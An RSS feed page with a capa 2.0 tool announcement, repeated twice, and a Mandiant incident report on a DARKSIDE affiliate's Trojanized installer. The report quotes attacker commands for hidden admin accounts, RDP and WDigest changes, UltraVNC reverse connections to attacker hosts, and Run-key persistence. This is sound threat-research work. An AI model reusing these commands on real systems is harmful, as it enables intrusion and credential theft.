RSS Security

🔒
❌ About FreshRSS
There are new articles available, click to refresh the page.
☑ ☆ ✇ Threat Research

capa 2.0: Better, Faster, Stronger

By: William Ballenthin

We are excited to announce version 2.0 of our open-source tool called capa. capa automatically identifies capabilities in programs using an extensible rule set. The tool supports both malware triage and deep dive reverse engineering. If you haven’t heard of capa before, or need a refresher, check out our first blog post. You can download capa 2.0 standalone binaries from the project’s release page and checkout the source code on GitHub.

capa 2.0 enables anyone to contribute rules more easily, which makes the existing ecosystem even more vibrant. This blog post details the following major improvements included in capa 2.0:

  • New features and enhancements for the capa explorer IDA Pro plugin, allowing you to interactively explore capabilities and write new rules without switching windows
  • More concise and relevant results via identification of library functions using FLIRT and the release of accompanying open-source FLIRT signatures
  • Hundreds of new rules describing additional malware capabilities, bringing the collection up to 579 total rules, with more than half associated with ATT&CK techniques
  • Migration to Python 3, to make it easier to integrate capa with other projects

capa explorer and Rule Generator

capa explorer is an IDAPython plugin that shows capa results directly within IDA Pro. The version 2.0 release includes many additions and improvements to the plugin, but we'd like to highlight the most exciting addition: capa explorer now helps you write new capa rules directly in IDA Pro!

Since we spend most of our time in reverse engineering tools such as IDA Pro analyzing malware, we decided to add a capa rule generator. Figure 1 shows the rule generator interface.


Figure 1: capa explorer rule generator interface

Once you’ve installed capa explorer using the Getting Started guide, open the plugin by navigating to Edit > Plugins > FLARE capa explorer. You can start using the rule generator by selecting the Rule Generator tab at the top of the capa explorer pane. From here, navigate your IDA Pro Disassembly view to the function containing a technique you'd like to capture and click the Analyze button. The rule generator will parse, format, and display all the capa features that it finds in your function. You can write your rule using the rule generator's three main panes: Features, Preview, and Editor. Your first step is to add features from the Features pane.

The Features pane is a tree view containing all the capa features extracted from your function. You can filter for specific features using the search bar at the top of the pane. Then, you can add features by double-clicking them. Figure 2 shows this in action.


Figure 2: capa explorer feature selection

As you add features from the Features pane, the rule generator automatically formats and adds them to the Preview and Editor panes. The Preview and Editor panes help you finesse the features that you've added and allow you to modify other information like the rule's metadata.

The Editor pane is an interactive tree view that displays the statement and feature hierarchy that forms your rule. You can reorder nodes using drag-and-drop and edit nodes via right-click context menus. To help humans understand the rule logic, you can add descriptions and comments to features by typing in the Description and Comment columns. The rule generator automatically formats any changes that you make in the Editor pane and adds them to the Preview pane. Figure 3 shows how to manipulate a rule using the Editor pane.


Figure 3: capa explorer editor pane

The Preview pane is an editable textbox containing the final rule text. You can edit any of the text displayed. The rule generator automatically formats any changes that you make in the Preview pane and adds them to the Editor pane. Figure 4 shows how to edit a rule directly in the Preview pane.


Figure 4: capa explorer preview pane

As you make edits the rule generator lints your rule and notifies you of any errors using messages displayed underneath the Preview pane. Once you've finished writing your rule you can save it to your capa rules directory by clicking the Save button. The rule generator saves exactly what is displayed in the Preview pane. It’s that simple!

We’ve found that using the capa explorer rule generator significantly reduces the amount of time spent writing new capa rules. This tool not only automates most of the rule writing process but also eliminates the need to context switch between IDA Pro and your favorite text editor allowing you to codify your malware knowledge while it’s fresh in your mind.

To learn more about capa explorer and the rule generator check out the README.

Library Function Identification Using FLIRT

As we wrote hundreds of capa rules and inspected thousands of capa results, we recognized that the tool sometimes shows distracting results due to embedded library code. We believe that capa needs to focus its attention on the programmer’s logic and ignore supporting library code. For example, highly optimized C/C++ runtime routines and open-source library code enable a programmer to quickly build a product but are not the product itself. Therefore, capa results should reflect the programmer’s intent for the program rather than a categorization of every byte in the program.

Compare the capa v1.6 results in Figure 5 versus capa v2.0 results in Figure 6. capa v2.0 identifies and skips almost 200 library functions and produces more relevant results.


Figure 5: capa v1.6 results without library code recognition


Figure 6: capa v2.0 results ignoring library code functions

So, we searched for a way to differentiate a programmer’s code from library code.

After experimenting with a few strategies, we landed upon the Fast Library Identification and Recognition Technology (FLIRT) developed by Hex-Rays. Notably, this technique has remained stable and effective since 1996, is fast, requires very limited code analysis, and enjoys a wide community in the IDA Pro userbase. We figured out how IDA Pro matches FLIRT signatures and re-implemented a matching engine in Rust with Python bindings. Then, we built an open-source signature set that covers many of the library routines encountered in modern malware. Finally, we updated capa to use the new signatures to guide its analysis.

capa uses these signatures to differentiate library code from a programmer’s code. While capa can extract and match against the names of embedded library functions, it will skip finding capabilities and behaviors within the library code. This way, capa results better reflect the logic written by a programmer.

Furthermore, library function identification drastically improves capa runtime performance: since capa skips processing of library functions, it can avoid the costly rule matching steps across a substantial percentage of real-world functions. Across our testbed of 206 samples, 28% of the 186,000 total functions are recognized as library code by our function signatures. As our implementation can recognize around 100,000 functions/sec, library function identification overhead is negligible and capa is approximately 25% faster than in 2020!

Finally, we introduced a new feature class that rule authors can use to match recognized library functions: function-name. This feature matches at the file-level scope. We’ve already started using this new capability to recognize specific implementations of cryptography routines, such as AES provided by Crypto++, as shown in the example rule in Figure 7.


Figure 7: Example rule using function-name to recognize AES via Crypto++

As we developed rules for interesting behaviors, we learned a lot about where uncommon techniques are used legitimately. For example, as malware analysts, we most commonly see the cpuid instruction alongside anti-analysis checks, such as in VM detection routines. Therefore, we naively crafted rules to flag this instruction. But, when we tested it against our testbed, the rule matched most modern programs because this instruction is often legitimately used in high-optimized routines, such as memcpy, to opt-in to newer CPU features. In hindsight, this is obvious, but at the time it was a little surprising to see cpuid in around 15% of all executables. With the new FLIRT support, capa recognizes the optimized memcpy routine embedded by Visual Studio and won’t flag the embedded cpuid instruction, as its not part of the programmer’s code.

When a user upgrades to capa 2.0, they’ll see that the tool runs faster and provides more precise results.

Signature Generation

To provide the benefits of python-flirt to all users (especially those without an IDA Pro license) we have spent significant time to create a comprehensive FLIRT signature set for the common malware analysis use-case. The signatures come included with capa and are also available at our GitHub under the Apache 2.0 license. We believe that other projects can benefit greatly from this. For example, we expect the performance of FLOSS to improve once we’ve incorporated library function identification. Moreover, you can use our signatures with IDA Pro to recognize more library code.

Our initial signatures include:

  • From Microsoft Visual Studio (VS), for all major versions from VS6 to VS2019:
    • C and C++ run-time libraries
    • Active Template Library (ATL) and Microsoft Foundation Class (MFC) libraries
  • The following open-source projects as compiled with VS2015, VS2017, and VS2019:
    • CryptoPP
    • curl
    • Microsoft Detours
    • Mbed TLS (previously PolarSSL)
    • OpenSSL
    • zlib

Identifying and collecting the relevant library and object files took a lot of work. For the older VS versions this was done manually. For newer VS versions and the respective open-source projects we were able to automate the process using vcpgk and Docker.

We then used the IDA Pro FLAIR utilities to convert gigabytes of executable code into pattern files and then into signatures. This process required extensive research and much trial and error. For instance, we spent two weeks testing and exploring the various FLAIR options to understand the best combination. We appreciate Hex-Rays for providing high-quality signatures for IDA Pro and thank them for sharing their research and tools with the community.

To learn more about the pattern and signature file generation check out the siglib repository. The FLAIR utilities are available in the protected download area on Hex-Rays’ website.

Rule Updates

Since the initial release, the community has more than doubled the total capa rule count from 260 to over 570 capability detection rules! This means that capa recognizes many more techniques seen in real-world malware, certainly saving analysts time as they reverse engineer programs. And to reiterate, we’ve surfed a wave of support as almost 30 colleagues from a dozen organizations have volunteered their experience to develop these rules. Thank you!

Figure 8 provides a high-level overview of capabilities capa currently captures, including:

  • Host Interaction describes program functionality to interact with the file system, processes, and the registry
  • Anti-Analysis describes packers, Anti-VM, Anti-Debugging, and other related techniques
  • Collection describes functionality used to steal data such as credentials or credit card information
  • Data Manipulation describes capabilities to encrypt, decrypt, and hash data
  • Communication describes data transfer techniques such as HTTP, DNS, and TCP


Figure 8: Overview of capa rule categories

More than half of capa’s rules are associated with a MITRE ATT&CK technique including all techniques introduced in ATT&CK version 9 that lie within capa’s scope. Moreover, almost half of the capa rules are currently associated with a Malware Behavior Catalog (MBC) identifier.

For more than 70% of capa rules we have collected associated real-world binaries. Each binary implements interesting capabilities and exhibits noteworthy features. You can view the entire sample collection at our capa test files GitHub page. We rely heavily on these samples for developing and testing code enhancements and rule updates.

Python 3 Support

Finally, we’ve spent nearly three months migrating capa from Python 2.7 to Python 3. This involved working closely with vivisect and we would like to thank the team for their support. After extensive testing and a couple of releases supporting two Python versions, we’re excited that capa 2.0 and future versions will be Python 3 only.

Conclusion

Now that you’ve seen all the recent improvements to capa, we hope you’ll upgrade to the newest capa version right away! Thanks to library function identification capa will report faster and more relevant results. Hundreds of new rules capture the most interesting malware functionality while the improved capa explorer plugin helps you to focus your analysis and codify your malware knowledge while it’s fresh.

Standalone binaries for Windows, Mac, and Linux are available on the capa Releases page. To install capa from PyPi use the command pip install flare-capa. The source code is available at our capa GitHub page. The project page on GitHub contains detailed documentation, including thorough installation instructions and a walkthrough of capa explorer. Please use GitHub to ask questions, discuss ideas, and submit issues.

We highly encourage you to contribute to capa’s rule corpus. The improved IDA Pro plugin makes it easier than ever before. If you have any issues or ideas related to rules, please let us know on the GitHub repository. Remember, when you share a rule with the community, you scale your impact across hundreds of reverse engineers in dozens of organizations.

☑ ★ ✇ Threat Research

capa 2.0: Better, Faster, Stronger

By: William Ballenthin

We are excited to announce version 2.0 of our open-source tool called capa. capa automatically identifies capabilities in programs using an extensible rule set. The tool supports both malware triage and deep dive reverse engineering. If you haven’t heard of capa before, or need a refresher, check out our first blog post. You can download capa 2.0 standalone binaries from the project’s release page and checkout the source code on GitHub.

capa 2.0 enables anyone to contribute rules more easily, which makes the existing ecosystem even more vibrant. This blog post details the following major improvements included in capa 2.0:

  • New features and enhancements for the capa explorer IDA Pro plugin, allowing you to interactively explore capabilities and write new rules without switching windows
  • More concise and relevant results via identification of library functions using FLIRT and the release of accompanying open-source FLIRT signatures
  • Hundreds of new rules describing additional malware capabilities, bringing the collection up to 579 total rules, with more than half associated with ATT&CK techniques
  • Migration to Python 3, to make it easier to integrate capa with other projects

capa explorer and Rule Generator

capa explorer is an IDAPython plugin that shows capa results directly within IDA Pro. The version 2.0 release includes many additions and improvements to the plugin, but we'd like to highlight the most exciting addition: capa explorer now helps you write new capa rules directly in IDA Pro!

Since we spend most of our time in reverse engineering tools such as IDA Pro analyzing malware, we decided to add a capa rule generator. Figure 1 shows the rule generator interface.


Figure 1: capa explorer rule generator interface

Once you’ve installed capa explorer using the Getting Started guide, open the plugin by navigating to Edit > Plugins > FLARE capa explorer. You can start using the rule generator by selecting the Rule Generator tab at the top of the capa explorer pane. From here, navigate your IDA Pro Disassembly view to the function containing a technique you'd like to capture and click the Analyze button. The rule generator will parse, format, and display all the capa features that it finds in your function. You can write your rule using the rule generator's three main panes: Features, Preview, and Editor. Your first step is to add features from the Features pane.

The Features pane is a tree view containing all the capa features extracted from your function. You can filter for specific features using the search bar at the top of the pane. Then, you can add features by double-clicking them. Figure 2 shows this in action.


Figure 2: capa explorer feature selection

As you add features from the Features pane, the rule generator automatically formats and adds them to the Preview and Editor panes. The Preview and Editor panes help you finesse the features that you've added and allow you to modify other information like the rule's metadata.

The Editor pane is an interactive tree view that displays the statement and feature hierarchy that forms your rule. You can reorder nodes using drag-and-drop and edit nodes via right-click context menus. To help humans understand the rule logic, you can add descriptions and comments to features by typing in the Description and Comment columns. The rule generator automatically formats any changes that you make in the Editor pane and adds them to the Preview pane. Figure 3 shows how to manipulate a rule using the Editor pane.


Figure 3: capa explorer editor pane

The Preview pane is an editable textbox containing the final rule text. You can edit any of the text displayed. The rule generator automatically formats any changes that you make in the Preview pane and adds them to the Editor pane. Figure 4 shows how to edit a rule directly in the Preview pane.


Figure 4: capa explorer preview pane

As you make edits the rule generator lints your rule and notifies you of any errors using messages displayed underneath the Preview pane. Once you've finished writing your rule you can save it to your capa rules directory by clicking the Save button. The rule generator saves exactly what is displayed in the Preview pane. It’s that simple!

We’ve found that using the capa explorer rule generator significantly reduces the amount of time spent writing new capa rules. This tool not only automates most of the rule writing process but also eliminates the need to context switch between IDA Pro and your favorite text editor allowing you to codify your malware knowledge while it’s fresh in your mind.

To learn more about capa explorer and the rule generator check out the README.

Library Function Identification Using FLIRT

As we wrote hundreds of capa rules and inspected thousands of capa results, we recognized that the tool sometimes shows distracting results due to embedded library code. We believe that capa needs to focus its attention on the programmer’s logic and ignore supporting library code. For example, highly optimized C/C++ runtime routines and open-source library code enable a programmer to quickly build a product but are not the product itself. Therefore, capa results should reflect the programmer’s intent for the program rather than a categorization of every byte in the program.

Compare the capa v1.6 results in Figure 5 versus capa v2.0 results in Figure 6. capa v2.0 identifies and skips almost 200 library functions and produces more relevant results.


Figure 5: capa v1.6 results without library code recognition


Figure 6: capa v2.0 results ignoring library code functions

So, we searched for a way to differentiate a programmer’s code from library code.

After experimenting with a few strategies, we landed upon the Fast Library Identification and Recognition Technology (FLIRT) developed by Hex-Rays. Notably, this technique has remained stable and effective since 1996, is fast, requires very limited code analysis, and enjoys a wide community in the IDA Pro userbase. We figured out how IDA Pro matches FLIRT signatures and re-implemented a matching engine in Rust with Python bindings. Then, we built an open-source signature set that covers many of the library routines encountered in modern malware. Finally, we updated capa to use the new signatures to guide its analysis.

capa uses these signatures to differentiate library code from a programmer’s code. While capa can extract and match against the names of embedded library functions, it will skip finding capabilities and behaviors within the library code. This way, capa results better reflect the logic written by a programmer.

Furthermore, library function identification drastically improves capa runtime performance: since capa skips processing of library functions, it can avoid the costly rule matching steps across a substantial percentage of real-world functions. Across our testbed of 206 samples, 28% of the 186,000 total functions are recognized as library code by our function signatures. As our implementation can recognize around 100,000 functions/sec, library function identification overhead is negligible and capa is approximately 25% faster than in 2020!

Finally, we introduced a new feature class that rule authors can use to match recognized library functions: function-name. This feature matches at the file-level scope. We’ve already started using this new capability to recognize specific implementations of cryptography routines, such as AES provided by Crypto++, as shown in the example rule in Figure 7.


Figure 7: Example rule using function-name to recognize AES via Crypto++

As we developed rules for interesting behaviors, we learned a lot about where uncommon techniques are used legitimately. For example, as malware analysts, we most commonly see the cpuid instruction alongside anti-analysis checks, such as in VM detection routines. Therefore, we naively crafted rules to flag this instruction. But, when we tested it against our testbed, the rule matched most modern programs because this instruction is often legitimately used in high-optimized routines, such as memcpy, to opt-in to newer CPU features. In hindsight, this is obvious, but at the time it was a little surprising to see cpuid in around 15% of all executables. With the new FLIRT support, capa recognizes the optimized memcpy routine embedded by Visual Studio and won’t flag the embedded cpuid instruction, as its not part of the programmer’s code.

When a user upgrades to capa 2.0, they’ll see that the tool runs faster and provides more precise results.

Signature Generation

To provide the benefits of python-flirt to all users (especially those without an IDA Pro license) we have spent significant time to create a comprehensive FLIRT signature set for the common malware analysis use-case. The signatures come included with capa and are also available at our GitHub under the Apache 2.0 license. We believe that other projects can benefit greatly from this. For example, we expect the performance of FLOSS to improve once we’ve incorporated library function identification. Moreover, you can use our signatures with IDA Pro to recognize more library code.

Our initial signatures include:

  • From Microsoft Visual Studio (VS), for all major versions from VS6 to VS2019:
    • C and C++ run-time libraries
    • Active Template Library (ATL) and Microsoft Foundation Class (MFC) libraries
  • The following open-source projects as compiled with VS2015, VS2017, and VS2019:
    • CryptoPP
    • curl
    • Microsoft Detours
    • Mbed TLS (previously PolarSSL)
    • OpenSSL
    • zlib

Identifying and collecting the relevant library and object files took a lot of work. For the older VS versions this was done manually. For newer VS versions and the respective open-source projects we were able to automate the process using vcpgk and Docker.

We then used the IDA Pro FLAIR utilities to convert gigabytes of executable code into pattern files and then into signatures. This process required extensive research and much trial and error. For instance, we spent two weeks testing and exploring the various FLAIR options to understand the best combination. We appreciate Hex-Rays for providing high-quality signatures for IDA Pro and thank them for sharing their research and tools with the community.

To learn more about the pattern and signature file generation check out the siglib repository. The FLAIR utilities are available in the protected download area on Hex-Rays’ website.

Rule Updates

Since the initial release, the community has more than doubled the total capa rule count from 260 to over 570 capability detection rules! This means that capa recognizes many more techniques seen in real-world malware, certainly saving analysts time as they reverse engineer programs. And to reiterate, we’ve surfed a wave of support as almost 30 colleagues from a dozen organizations have volunteered their experience to develop these rules. Thank you!

Figure 8 provides a high-level overview of capabilities capa currently captures, including:

  • Host Interaction describes program functionality to interact with the file system, processes, and the registry
  • Anti-Analysis describes packers, Anti-VM, Anti-Debugging, and other related techniques
  • Collection describes functionality used to steal data such as credentials or credit card information
  • Data Manipulation describes capabilities to encrypt, decrypt, and hash data
  • Communication describes data transfer techniques such as HTTP, DNS, and TCP


Figure 8: Overview of capa rule categories

More than half of capa’s rules are associated with a MITRE ATT&CK technique including all techniques introduced in ATT&CK version 9 that lie within capa’s scope. Moreover, almost half of the capa rules are currently associated with a Malware Behavior Catalog (MBC) identifier.

For more than 70% of capa rules we have collected associated real-world binaries. Each binary implements interesting capabilities and exhibits noteworthy features. You can view the entire sample collection at our capa test files GitHub page. We rely heavily on these samples for developing and testing code enhancements and rule updates.

Python 3 Support

Finally, we’ve spent nearly three months migrating capa from Python 2.7 to Python 3. This involved working closely with vivisect and we would like to thank the team for their support. After extensive testing and a couple of releases supporting two Python versions, we’re excited that capa 2.0 and future versions will be Python 3 only.

Conclusion

Now that you’ve seen all the recent improvements to capa, we hope you’ll upgrade to the newest capa version right away! Thanks to library function identification capa will report faster and more relevant results. Hundreds of new rules capture the most interesting malware functionality while the improved capa explorer plugin helps you to focus your analysis and codify your malware knowledge while it’s fresh.

Standalone binaries for Windows, Mac, and Linux are available on the capa Releases page. To install capa from PyPi use the command pip install flare-capa. The source code is available at our capa GitHub page. The project page on GitHub contains detailed documentation, including thorough installation instructions and a walkthrough of capa explorer. Please use GitHub to ask questions, discuss ideas, and submit issues.

We highly encourage you to contribute to capa’s rule corpus. The improved IDA Pro plugin makes it easier than ever before. If you have any issues or ideas related to rules, please let us know on the GitHub repository. Remember, when you share a rule with the community, you scale your impact across hundreds of reverse engineers in dozens of organizations.

☑ ☆ ✇ Threat Research

Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise

By: Tyler McLellan

Mandiant observed DARKSIDE affiliate UNC2465 accessing at least one victim through a Trojanized software installer downloaded from a legitimate website. While this victim organization detected the intrusion, engaged Mandiant for incident response, and avoided ransomware, others may be at risk.

As reported in the Mandiant post, "Shining a Light on DARKSIDE Ransomware Operations," Mandiant Consulting has investigated intrusions involving several DARKSIDE affiliates. UNC2465 is one of those DARKSIDE affiliates that Mandiant believes has been active since at least March 2020.

The intrusion that is detailed in this post began on May 18, 2021, which occurred days after the publicly reported shutdown of the overall DARKSIDE program (Mandiant Advantage background). While no ransomware was observed here, Mandiant believes that affiliate groups that have conducted DARKSIDE intrusions may use multiple ransomware affiliate programs and can switch between them at will.

Sometime in May 2021 or earlier, UNC2465 likely Trojanized two software install packages on a CCTV security camera provider website. Mandiant determined the installers were malicious in early June and notified the CCTV company of a potential website compromise, which may have allowed UNC2465 to replace legitimate downloads with the Trojanized ones.

While Mandiant does not suspect many victims were compromised, this technique is being reported for broader awareness. Software supply chain attacks can vary greatly in sophistication, from the recent FireEye-discovered SolarWinds attacks to attacks such as this targeting smaller providers. A software supply chain attack allows a single intrusion to obtain the benefit of access to all of the organizations that run that victim company’s software; in this case, an installer, rather than the software itself, was modified by UNC2465.

DARKSIDE RaaS

In mid-May 2021, Mandiant observed multiple threat actors cite an announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and content distribution network (CDN) servers, and would be closing their service. The post cited law enforcement pressure and pressure from the United States for this decision. 

Multiple users on underground forums have since come forward claiming to be unpaid DARKSIDE affiliates, and in some cases privately provided evidence to forum administrators who confirmed that their claims were legitimate. There are some actors who have speculated that the DARKSIDE operator’s decision to close could be an exit scam. While we have not seen evidence suggesting that the operators of the DARKSIDE service have resumed operations, we anticipate that at least some of the former affiliates of the DARKSIDE service will likely identify different ransomware or malware offerings to use within their own operations. 

Notably, Mandiant has continued to observe a steady increase in the number of publicly named victims on ransomware shaming sites within the past month. Despite the recent ban of ransomware-related posts within underground forums, threat actors can still leverage private chats and connections to identify ransomware services. As one example, in mid-May 2021, the operator of the SODINOKIBI (aka REvil) RaaS indicated that multiple affiliates from other RaaS platforms that had shut down were switching to their service. Based on the perceived profitability of these operations, it is almost certain that numerous threat actors will continue to conduct widespread ransomware operations for the foreseeable future.

Background

In June 2021, Mandiant Consulting was engaged to respond to an intrusion. During analysis, Mandiant determined the initial vector was a trojanized security camera PVR installer from a legitimate website. Mandiant attributed the overall intrusion activity to DARKSIDE affiliate UNC2465 due to continued use of infrastructure and tooling since October 2020.

On May 18, 2021, a user in the affected organization browsed to the Trojanized link and downloaded the ZIP. Upon installing the software, a chain of downloads and scripts were executed, leading to SMOKEDHAM and later NGROK on the victim’s computer. Additional malware use such as BEACON, and lateral movement also occurred. Mandiant believes the Trojanized software was available from May 18, 2021, through June 8, 2021.

Pivoting on the slightly modified, but benign, MSHTA.exe application in VirusTotal, Mandiant identified a second installer package with the MD5 hash, e9ed774517e129a170cdb856bd13e7e8 (SVStation_Win64-B1130.1.0.0.exe), from May 26, 2021, which also connects out the same URL as the Trojanized SmartPSS installer.

Supply Chain Intrusion Cycle


Figure 1: Intrusion cycle

Phase 1: Trojanized Installer Download

Mandiant Consulting observed the Trojanized installer downloaded on a Windows workstation after the user visited a legitimate site that the victim organization had used before.

The downloaded file was extracted to
C:\Users\[username]\Downloads\06212019-General-SMARTPSS-Win32-ChnEng-IS\General_SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023\SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe.

Mandiant confirmed the user intended to download, install, and use the SmartPSS software. Figure 2 shows an image of the download page used for SmartPSS software.


Figure 2: SmartPSS download page

Phase 2: Nullsoft Installer

The installer executable is a Nullsoft installer that when executed wrote two files to C:\ProgramData\SMARTPSS-Win32_ChnEng_IS. We were able to extract the malicious installer script and files for analysis using 7-Zip. The relevant section of this installer script is shown below in Figure 3.


Figure 3: Nullsoft installer script section

The installer script created two files: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General.exe (b540b8a341c20dced4bad4e568b4cbf9) and smartpss.exe (c180f493ce2e609c92f4a66de9f02ed6). The former is a clean installer from the original developer and is launched first, installing the software as the user may expect. The latter is launched with a command line URL executing the content.

The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown. Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided. This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy. Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4.


Figure 4: CyberChef diff between MSHTA.exe and smartpss.exe

Phase 3: Downloaded VBScript and PowerShell

Upon execution, the modified Mshta file was executed with the URL, hxxp://sdoc[.]xyz/ID-508260156241, and passed as an argument on the command line.

Domain sdoc[.]xyz was first associated with UNC2465 by RiskIQ in a May 20, 2021, blog post researching the infrastructure that Mandiant previously reported. According to RiskIQ, sdoc[.]xyz shares a registrant with koliz[.]xyz, which was also observed by Mandiant in past UNC2465 intrusions.

C:\PROGRAMDATA\SMARTPSS-Win32_ChnEng_IS\smartpss.exe hxxp://sdoc[.]xyz/ID-508260156241

The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory. Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.

<html><head>..<script language='VBScript'>..On Error Resume Next

At the time of writing, sdoc[.]xyz appeared to be active, but not returning the VBScript code. It is not clear if sdoc[.]xyz was selecting victims based on IP or other properties or was simply dormant. A PCAP from a sandbox execution on VirusTotal from May 26, 2021, also showed benign content being served.


Figure 5: PCAP from e9ed774517e129a170cdb856bd13e7e8 VirusTotal results not returning malicious content

Shortly after the download, a PowerShell script block was executed to download SMOKEDHAM, as shown in Figure 6.


Figure 6: SMOKEDHAM downloader

Within seconds, a file named qnxfhfim.cmdline was written to disk and executed using the Command-Line Compiler.

csc.exe /noconfig /fullpaths @'C:\Users\ [username]\AppData\Local\Temp\qnxfhfim\qnxfhfim.cmdline'

Mandiant was not able to recover this file at the time of writing; however, Mandiant was able to recover partial contents of the file.

.../t:library /utf8output /R:'System.dll' /R:'C:\windows\Microso

After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM.

Phase 4: SMOKEDHAM Dropper

The SMOKEDHAM dropper (f075c2894ac84df4805e8ccf6491a4f4) is written in PowerShell and decrypts and executes in memory the SMOKEDHAM backdoor. The dropper uses the Add-Type cmdlet to define a new .NET class for the backdoor. The Add-Type cmdlet can be used to define a new .NET class using an existing assembly or source code files or specifying source code inline or saved in a variable. In this case, the dropper uses SMOKEDHAM backdoor source code that is stored in a variable.

The SMOKEDHAM backdoor source code is embedded as an encrypted string. The dropper uses the ConvertTo-SecureString cmdlet and an embedded key to decrypt the source code prior to executing the Add-Type cmdlet. After defining a new .NET class for the backdoor, the dropper executes the backdoor's entry point. The dropper configures the backdoor with a C2 server address, RC4 encryption key, and sleep interval. Figure 7 shows the deobfuscated SMOKEDHAM dropper.


Figure 7: SMOKEDHAM dropper

Phase 5: SMOKEDHAM Backdoor

SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture. The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server.

SMOKEDHAM Network Communications

SMOKEDHAM communicates with its C2 server using HTTPS. The backdoor uses domain fronting to obfuscate its true C2 server. The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor. Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication.

The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests. The backdoor initiates requests to the C2 server and the C2 server may include commands to execute in the responses. The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data.

The ID field contains a unique value generated by the backdoor for the target system.

The UUID field may contain a unique value used to track command output or be empty. When the C2 server responds with a command to execute, it sets the UUID field to a unique value. SMOKEDHAM then sets the same UUID value in the subsequent HTTP POST request that contains the command output.

The Data field may contain RC4-encrypted, Base64-encoded command data or be empty. The backdoor uses the Data field to send command output to its C2 server. The C2 server uses the Data field to send commands to the backdoor to execute. The backdoor uses an RC4 key configured by an earlier stage of execution to encrypt and decrypt the Data field. Mandiant observed the RC4 key UwOdHsFXjdCOIrjTCfnblwEZ used for RC4 encryption and decryption.

SMOKEDHAM Commands

SMOKEDHAM Base64-decodes, and RC4-decrypts command data returned in the Data field. The backdoor checks if the plaintext command data begins with one of the following keywords, shown in Table 1.

Keyword

Action

delay

Update its sleep interval

screenshot

Upload a screen capture to its C2 server via a subsequent HTTP POST request

exit

Terminate

Table 1: Plaintext command data keywords

If the plaintext command data does not begin with any of the keywords listed in Table 1, then SMOKEDHAM assumes the data contains a PowerShell command and attempts to execute it. The backdoor uploads output generated by the PowerShell command to its C2 server via a subsequent HTTP POST request.

In addition to supporting the commands in Table 1, SMOKEDHAM continuously captures keystrokes. The backdoor writes captured keystrokes to memory and uploads them to its C2 server every five seconds via HTTP POST requests.

SMOKEDHAM In Action

SMOKEDHAM was observed executing commands on the target system using PowerShell. 

The following commands were used to collect information about the system and logged in users.

net.exe user

net.exe users

whoami.exe

whoami.exe /priv 

systeminfo.exe

The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen.

net.exe user DefaultUser REDACTED /ADD 

net.exe localgroup Administrators DefaultUser /ADD 

reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' /v DefaultUser /t REG_DWORD /d 0 /f

The following commands facilitated lateral movement by modifying Terminal Server registry key values to enable multiple Remote Desktop connection sessions, and modifying the Local Security Authority (LSA) registry key value to require a password for authentication.

reg.exe ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg.exe ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

reg.exe ADD HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LimitBlankPasswordUse /t REG_DWORD /d 1 /f

Additionally, SMOKEDHAM modified the WDigest registry key value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential to enable credential caching.

Phase 6: Follow-on Activity

SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download the UltraVNC application renamed as winvnc.exe, and a configuration file named UltraVNC.ini, shown in Figure 8. These files were saved to the %APPDATA%\Chrome\ directory. The UltraVNC.ini file allowed UltraVNC to connect to port 6300 on the loopback address specified by the parameter AllowLoopback=1.


Figure 8: Contents of UltraVNC.ini

SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions.

%APPDATA%\Chrome\winvnc.exe' -autoreconnect ID:15000151 -connect 81.91.177[.]54[:]7234 –run

SMOKEDHAM created a persistence mechanism for UltraVNC by adding the application to the ConhostNT value under the current users Run registry key.

reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ConhostNT /d %appdata%\Chrome\winvnc.exe

NGROK Configuration

SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download an NGROK utility that was renamed conhost.exe, and a script named VirtualHost.vbs that was used to execute NGROK with a configuration file named ngrok.yml. These files were stored in the C:\ProgramData\WindNT\ directory. NGROK is a publicly available utility that can expose local servers behind NATs and firewalls to the public internet over secure tunnels.

Figure 9 and Figure 10 show the contents of VirtualHost.vbs and ngrok.yml files, respectively.


Figure 9: Contents of VirtualHost.vbs


Figure 10: Contents of ngrok.yml

The execution of VirtualHost.vbs allowed NGROK to listen and forward traffic on TCP port 6300 through an NGROK tunnel, subsequently allowing NGROK to tunnel UltraVNC traffic out of the environment.

